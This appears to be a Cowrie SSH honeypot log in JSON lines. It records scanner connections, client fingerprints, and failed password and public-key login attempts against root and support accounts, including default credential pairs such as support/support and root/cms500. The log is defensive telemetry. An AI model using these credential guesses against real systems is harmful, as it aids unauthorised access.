{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:41:50.051207Z","src_ip":"27.79.44.54","session":"157c52078581","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"support","message":"login attempt [support/support] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:41:51.694539Z","src_ip":"27.79.44.54","session":"157c52078581","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:41:53.125435Z","src_ip":"27.79.44.54","session":"157c52078581","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.124.92.11","src_port":45148,"dst_ip":"159.203.135.109","dst_port":22,"session":"72334f97f056","protocol":"ssh","message":"New connection: 125.124.92.11:45148 (159.203.135.109:22) [session: 72334f97f056]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:42:27.604139Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:42:27.612571Z","src_ip":"125.124.92.11","session":"72334f97f056","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:42:27.845969Z","src_ip":"125.124.92.11","session":"72334f97f056","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":7669,"dst_ip":"159.203.135.109","dst_port":22,"session":"badcf9113ae2","protocol":"ssh","message":"New connection: 193.24.211.100:7669 (159.203.135.109:22) [session: badcf9113ae2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:42:45.505327Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:42:45.509429Z","src_ip":"193.24.211.100","session":"badcf9113ae2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:42:45.618521Z","src_ip":"193.24.211.100","session":"badcf9113ae2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cms500","message":"login attempt [root/cms500] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:42:46.045646Z","src_ip":"193.24.211.100","session":"badcf9113ae2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:42:47.172119Z","src_ip":"193.24.211.100","session":"badcf9113ae2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.194.8.142","src_port":44004,"dst_ip":"10.17.0.5","dst_port":22,"session":"877497e6d10a","protocol":"ssh","message":"New connection: 104.194.8.142:44004 (10.17.0.5:22) [session: 877497e6d10a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:42:57.396328Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:42:57.401092Z","src_ip":"104.194.8.142","session":"877497e6d10a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:42:57.480020Z","src_ip":"104.194.8.142","session":"877497e6d10a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f8:ec:70:d4:08:a2:73:28:7b:fe:7c:1a:40:ff:b9:d0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC0zKFEKv7pKjj5TB8wodDWRUOfk78nkWmevROfbkH7DjvneHj9ZuqdqMEEtYR7hYIgRabTsifsCBLYBaLEpOo1IzHAX9zNaADrXwjN8Ib8ryPQ6j7oChSc5UKLerVzX8J1Sn2DllN6OFgzYD1gZu6HR+H3a4eHFApB9tnmAsI604rDbOR7YyIU6n7jvhEKpoJNGRDSkns3/PLrO28QqpFIRotPTsVie6xgk/H/69qIAOKdS91I0UiNsQstvNnEd+Vn3w93PncL5nPa6LQv1cxWdTU2ONmTGTf6d9/y/Xijprj/4knv/wvxLoC22EJr/7izniQ/4jEiBdsYehqWNAXA5aOW0g9PJuu5uavdMNKZBLlJJV0NCcC+EH2i3gTf4hvdeV1V8RJ8BVJdkgMhRHXCzPJG2MUHwPX63HaxhAiY0/0sT9866Hh+qGVuUMOq3LqTaJmWorxJVDGzUAiLOPR7NlkrDa5I7v05iUuVau+yDv6GbQdEhl+QtXlVmsFzk4qiuBHmhDhUs/0pTrnT8HPYPVVNB9g9DOtDlMvm35666oyV6X5Kim566HYtBkFfeSS5k1dL2+9Zjk+0GiyRTYxIdZz9ais/1Kld8evYptSqsc+Eru8NM/3NrEQ3ZAvlqUTx8wXxC7mSs24Fx4oLgK7F72JxCC0ZRtmxfgwbggGxOQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f8:ec:70:d4:08:a2:73:28:7b:fe:7c:1a:40:ff:b9:d0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:42:57.847816Z","src_ip":"104.194.8.142","session":"877497e6d10a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f8:ec:70:d4:08:a2:73:28:7b:fe:7c:1a:40:ff:b9:d0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC0zKFEKv7pKjj5TB8wodDWRUOfk78nkWmevROfbkH7DjvneHj9ZuqdqMEEtYR7hYIgRabTsifsCBLYBaLEpOo1IzHAX9zNaADrXwjN8Ib8ryPQ6j7oChSc5UKLerVzX8J1Sn2DllN6OFgzYD1gZu6HR+H3a4eHFApB9tnmAsI604rDbOR7YyIU6n7jvhEKpoJNGRDSkns3/PLrO28QqpFIRotPTsVie6xgk/H/69qIAOKdS91I0UiNsQstvNnEd+Vn3w93PncL5nPa6LQv1cxWdTU2ONmTGTf6d9/y/Xijprj/4knv/wvxLoC22EJr/7izniQ/4jEiBdsYehqWNAXA5aOW0g9PJuu5uavdMNKZBLlJJV0NCcC+EH2i3gTf4hvdeV1V8RJ8BVJdkgMhRHXCzPJG2MUHwPX63HaxhAiY0/0sT9866Hh+qGVuUMOq3LqTaJmWorxJVDGzUAiLOPR7NlkrDa5I7v05iUuVau+yDv6GbQdEhl+QtXlVmsFzk4qiuBHmhDhUs/0pTrnT8HPYPVVNB9g9DOtDlMvm35666oyV6X5Kim566HYtBkFfeSS5k1dL2+9Zjk+0GiyRTYxIdZz9ais/1Kld8evYptSqsc+Eru8NM/3NrEQ3ZAvlqUTx8wXxC7mSs24Fx4oLgK7F72JxCC0ZRtmxfgwbggGxOQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:42:57.851306Z","src_ip":"104.194.8.142","session":"877497e6d10a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2d:f2:0a:48:60:f3:5c:b8:b9:99:86:ed:c2:d4:45:3b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC2A8/0QqskTTGi9C5ilCoLDCWojIenZuhIXopHGXqlzFbiY5LjM0+L9C8MoVMLiteitGS+wdy3ZBm5PGCmc53/pHD234Sn/ajq+riDSpNezoWub18B8ozfqgoh4oAaF7WuAY3e92fE/7yW5z2nUsUYVZLEPAAozi+PT6bSUejtihNovAxHRbe/kPunPRXxm4um0RmMV9TWvSfRmScz+LixXDnGERJcj7MWdCX+2rgEJAMTTfFri/XcdHe/H6OKDIt379BSReZ90IgtcFiQrpZQlNyyp1R1CVKnI2PJxIB5DydMoKTzmTam/ujROLZ6YaYAZm1QQZJqqCtuk7Gnj6NFP34dAzWBG/CxocOJA9tZvHprKhrGT3Lwux1qvcby+xP7SV5lOyU9g/m/3uZrvsSD2HeWgxnn2OX6DeI54NTVbH8fk+zkUD+OYhkIvC1ufHucXsKk/asAi3J03quH6OpO1+Y8TUW6mQ0NE5vxDLgnbIJRrB2gsHV8EnrWcdjKTcEags3MFd5DLF1gzbQhsTg3Ke8+sWr4rPopYZETjLh9eSfHIwIXpt2ZsWYHO5JpUSlFasWch1a9m27n53JxUoG64Ab43hj3994skMYKV5ExuyxMaIhC3miWpAdTNtOIqYhDdlMnhDBBpMXqCj2aRZqNm/+bOItY8WicfuaKaaSm4w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2d:f2:0a:48:60:f3:5c:b8:b9:99:86:ed:c2:d4:45:3b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:42:57.929646Z","src_ip":"104.194.8.142","session":"877497e6d10a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2d:f2:0a:48:60:f3:5c:b8:b9:99:86:ed:c2:d4:45:3b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC2A8/0QqskTTGi9C5ilCoLDCWojIenZuhIXopHGXqlzFbiY5LjM0+L9C8MoVMLiteitGS+wdy3ZBm5PGCmc53/pHD234Sn/ajq+riDSpNezoWub18B8ozfqgoh4oAaF7WuAY3e92fE/7yW5z2nUsUYVZLEPAAozi+PT6bSUejtihNovAxHRbe/kPunPRXxm4um0RmMV9TWvSfRmScz+LixXDnGERJcj7MWdCX+2rgEJAMTTfFri/XcdHe/H6OKDIt379BSReZ90IgtcFiQrpZQlNyyp1R1CVKnI2PJxIB5DydMoKTzmTam/ujROLZ6YaYAZm1QQZJqqCtuk7Gnj6NFP34dAzWBG/CxocOJA9tZvHprKhrGT3Lwux1qvcby+xP7SV5lOyU9g/m/3uZrvsSD2HeWgxnn2OX6DeI54NTVbH8fk+zkUD+OYhkIvC1ufHucXsKk/asAi3J03quH6OpO1+Y8TUW6mQ0NE5vxDLgnbIJRrB2gsHV8EnrWcdjKTcEags3MFd5DLF1gzbQhsTg3Ke8+sWr4rPopYZETjLh9eSfHIwIXpt2ZsWYHO5JpUSlFasWch1a9m27n53JxUoG64Ab43hj3994skMYKV5ExuyxMaIhC3miWpAdTNtOIqYhDdlMnhDBBpMXqCj2aRZqNm/+bOItY8WicfuaKaaSm4w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:42:57.933329Z","src_ip":"104.194.8.142","session":"877497e6d10a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"27:56:a9:2b:f3:20:83:1b:b4:1e:fb:c6:0b:48:c1:b4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDfcwRZqscwkP7U3D4YK5x1rfo6I5nOtgINBLhb0q1VJXBm6MNG0b0NoZBmIimK9a8vq3XY0VvoUwLeA8XfW5fXm+7YUuoFFfQf0Y7cPdvgDG65MljEyZFX8w9SBS9t2WFZt2tO5OfNc2KwKlQ3MVe71mF+Kfm/2tO/ycIMk93cFjtRqdApfewxm+gV5TNOHMA0hYP6N2MMrwdylUgCEyram6T3CH5vBuXp2QCatXldrzsDbb7EixQXTrc06BCQQzHoStafvJTa/B+QXO/cvfPx6VbAtWvBvjX8YxT/JHETJ3WwoO6efEb6H41GfX38baOB70aszgVQhN+FNKiqizM9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 27:56:a9:2b:f3:20:83:1b:b4:1e:fb:c6:0b:48:c1:b4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:42:58.011245Z","src_ip":"104.194.8.142","session":"877497e6d10a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"27:56:a9:2b:f3:20:83:1b:b4:1e:fb:c6:0b:48:c1:b4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDfcwRZqscwkP7U3D4YK5x1rfo6I5nOtgINBLhb0q1VJXBm6MNG0b0NoZBmIimK9a8vq3XY0VvoUwLeA8XfW5fXm+7YUuoFFfQf0Y7cPdvgDG65MljEyZFX8w9SBS9t2WFZt2tO5OfNc2KwKlQ3MVe71mF+Kfm/2tO/ycIMk93cFjtRqdApfewxm+gV5TNOHMA0hYP6N2MMrwdylUgCEyram6T3CH5vBuXp2QCatXldrzsDbb7EixQXTrc06BCQQzHoStafvJTa/B+QXO/cvfPx6VbAtWvBvjX8YxT/JHETJ3WwoO6efEb6H41GfX38baOB70aszgVQhN+FNKiqizM9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:42:58.014303Z","src_ip":"104.194.8.142","session":"877497e6d10a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"22:01:9b:1b:36:67:23:0f:a4:21:67:9d:1f:96:a1:08","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDwfClrZG2c2EQ4EtUDU817x+Sb1SXv7e8vSJdPxD7uCV3vR63aic1det9Cor/pwNhM+iZMpxjnJqrU0/c5Q6b3rx8GkUHUNnRl5ctcMVd1GinwfZcnxqc6CaC3I4U6J3SXR9i1LwSWYAIziuL2gkur4JqVZoO4FjCF2PppJcc+8cXKIK7OtX893w7oHN9uaCtvc+MJIqy3H3TuQaMr7jLC368UcuI97HHTNm2TBCLvzM/DtMOFNCjlQHG9j97ftl79nhqQtY1HDis3T8vHkHEkmzObjWnj2WrJGxBJNeTz6+02gXrGGaLL0pt+7DZfA12i9B4YEhvuIvCNFqB9X7Wx","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 22:01:9b:1b:36:67:23:0f:a4:21:67:9d:1f:96:a1:08","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:42:58.090787Z","src_ip":"104.194.8.142","session":"877497e6d10a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"22:01:9b:1b:36:67:23:0f:a4:21:67:9d:1f:96:a1:08","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDwfClrZG2c2EQ4EtUDU817x+Sb1SXv7e8vSJdPxD7uCV3vR63aic1det9Cor/pwNhM+iZMpxjnJqrU0/c5Q6b3rx8GkUHUNnRl5ctcMVd1GinwfZcnxqc6CaC3I4U6J3SXR9i1LwSWYAIziuL2gkur4JqVZoO4FjCF2PppJcc+8cXKIK7OtX893w7oHN9uaCtvc+MJIqy3H3TuQaMr7jLC368UcuI97HHTNm2TBCLvzM/DtMOFNCjlQHG9j97ftl79nhqQtY1HDis3T8vHkHEkmzObjWnj2WrJGxBJNeTz6+02gXrGGaLL0pt+7DZfA12i9B4YEhvuIvCNFqB9X7Wx","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:42:58.094347Z","src_ip":"104.194.8.142","session":"877497e6d10a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"db:9f:78:79:d1:78:8f:0b:c9:9a:28:58:7e:fd:94:09","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5vfGnSBDbUhQK3gZOlcWqlT6f0zaVGMIfu4X1zKT3NOTMWC2WADaUrSIPBLrPjKH1qWtvyO4JoP6bnCzuifM5AkyDa0oiOuHsmdp8G28g1L+g0mzkSt1UD8AQwXhCzAl1iBrHvQqJOgbN+bv/AXRyw8Xu5Y8hcEATVtIC6y9HrDYSr7PwobyV7hCbk74z5r9A5J9KAvyIYT1Uvmb4Dn6qsyCEM7hGou2o8ocMgaMfu6n3/5DCJ5jKBDvyJ6swsOUM7Fu2fpo3JK3Id9yoX1fJV9OXqM2Aw0M1yEMPkKwJkrnOMGtLrqHc72OH6UrYKN6BfadH/H1YBDmtrkUFPejt","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint db:9f:78:79:d1:78:8f:0b:c9:9a:28:58:7e:fd:94:09","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:42:58.172798Z","src_ip":"104.194.8.142","session":"877497e6d10a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"db:9f:78:79:d1:78:8f:0b:c9:9a:28:58:7e:fd:94:09","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5vfGnSBDbUhQK3gZOlcWqlT6f0zaVGMIfu4X1zKT3NOTMWC2WADaUrSIPBLrPjKH1qWtvyO4JoP6bnCzuifM5AkyDa0oiOuHsmdp8G28g1L+g0mzkSt1UD8AQwXhCzAl1iBrHvQqJOgbN+bv/AXRyw8Xu5Y8hcEATVtIC6y9HrDYSr7PwobyV7hCbk74z5r9A5J9KAvyIYT1Uvmb4Dn6qsyCEM7hGou2o8ocMgaMfu6n3/5DCJ5jKBDvyJ6swsOUM7Fu2fpo3JK3Id9yoX1fJV9OXqM2Aw0M1yEMPkKwJkrnOMGtLrqHc72OH6UrYKN6BfadH/H1YBDmtrkUFPejt","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:42:58.176932Z","src_ip":"104.194.8.142","session":"877497e6d10a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:42:58.255835Z","src_ip":"104.194.8.142","session":"877497e6d10a","protocol":"ssh"}
